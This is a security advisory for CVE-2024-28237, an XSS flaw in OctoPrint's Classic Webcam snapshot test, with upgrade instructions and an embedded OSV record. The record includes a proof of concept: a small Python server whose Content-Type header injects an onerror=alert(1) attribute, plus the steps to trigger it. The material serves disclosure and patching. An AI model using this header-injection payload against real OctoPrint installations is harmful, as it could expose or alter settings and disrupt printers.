CVE-2024-28237: OctoPrint Cross-Site Scripting Vulnerability
MODERATECVE-2024-28237 is a MODERATE (CVSS 4.0) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting OctoPrint libraries in the PyPI ecosystem. The issue involves xss via the "snapshot test" feature in classic webcam plugin settings. Remediation is available by upgrading affected packages to version 1.10.0rc3.
CVE-2024-28237 at a Glance
Security Impact
CVSS: 4.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L).
How to Fix CVE-2024-28237
To remediate this vulnerability, upgrade all affected OctoPrint dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install OctoPrint>=1.10.0rc3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show OctoPrint
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-28237, inspect your installed packages using pip:
pip show OctoPrint
Analyze the terminal output to locate any version of OctoPrint in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.0rc3), your application is affected.
Note: The pip show OctoPrint command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In OctoPrint, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-28237 Affected OctoPrint Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
OctoPrint
|
PyPI |
< 1.10.0rc3
|
1.10.0rc3
|
References
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x7mf-wrh9-r76c",
"modified" : "2025-01-21T18:13:00Z",
"published" : "2024-03-18T20:29:45Z",
"aliases" : [ "CVE-2024-28237" ],
"summary" : "XSS via the \"Snapshot Test\" feature in Classic Webcam plugin settings",
"details" : "### Impact\n\nOctoPrint versions up until and including 1.9.3 contain a vulnerability that allows malicious admins to configure or talk a victim with administrator rights into configuring a webcam snapshot URL which when tested through the \"Test\" button included in the web interface will execute JavaScript code in the victims browser when attempting to render the snapshot image.\n\nAn attacker who successfully talked a victim with admin rights into performing a snapshot test with such a crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints or otherwise interact with the OctoPrint instance in a malicious way.\n\n### Patches\n\nThe vulnerability will be patched in version 1.10.0.\n\n### Workaround\n\nOctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and what settings they modify based on instructions by strangers.\n\n### PoC\n\nBelow are the steps to reproduce the vulnerability:\n\n1. Create a URL that responds with a malicious content type. For example, creating the following python script:\n ```\n from http.server import BaseHTTPRequestHandler, HTTPServer\n\n class MyHTTPRequestHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header('Content-Type', 'image/\"onerror=\"alert(1)\"')\n self.end_headers()\n self.wfile.write(b'Ok')\n\n def run():\n server_address = ('', 8080)\n httpd = HTTPServer(server_address, MyHTTPRequestHandler)\n print('Server listening on 0.0.0.0:8080...')\n httpd.serve_forever()\n\n if __name__ == '__main__':\n run()\n ```\n\n2. Go to OctoPrint settings --> Plugins --> Classic Webcam and enter the URL of that page as the Snapshot URL. \n\n3. Click on the \"Test\" button to trigger XSS. A Javascript alert should appear, demonstrating the actual code injection.\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L"
} ],
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"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
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} ]
} ],
"database_specific" : {
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}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-x7mf-wrh9-r76c"
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"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-28237"
}, {
"type" : "WEB",
"url" : "https://github.com/OctoPrint/OctoPrint/commit/779894c1bc6478332d14bc9ed1006df1354eb517"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OctoPrint/OctoPrint"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/octoprint/PYSEC-2024-179.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-03-18T20:29:45Z",
"nvd_published_at" : "2024-03-18T22:15:07Z"
}
}